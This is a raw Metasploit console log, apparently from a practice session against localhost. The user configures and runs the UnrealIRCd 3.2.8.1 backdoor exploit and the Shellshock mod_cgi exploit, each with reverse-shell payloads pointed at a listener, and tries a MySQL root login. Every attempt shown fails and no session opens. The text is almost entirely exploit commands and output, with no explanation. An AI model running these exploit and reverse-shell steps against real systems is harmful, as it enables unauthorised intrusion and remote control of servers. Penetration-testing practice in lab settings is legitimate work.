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msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[-] 127.0.0.1:6667 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > mysql -h 127.0.0.1 -u root -p
[*] exec: mysql -h 127.0.0.1 -u root -p

Enter password:
ERROR 2002 (HY000): Can't connect to server on '127.0.0.1' (115)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/status
targeturi => /cgi-bin/status
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[-] Exploit failed: cmd/unix/reverse is not a compatible payload.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > 
```

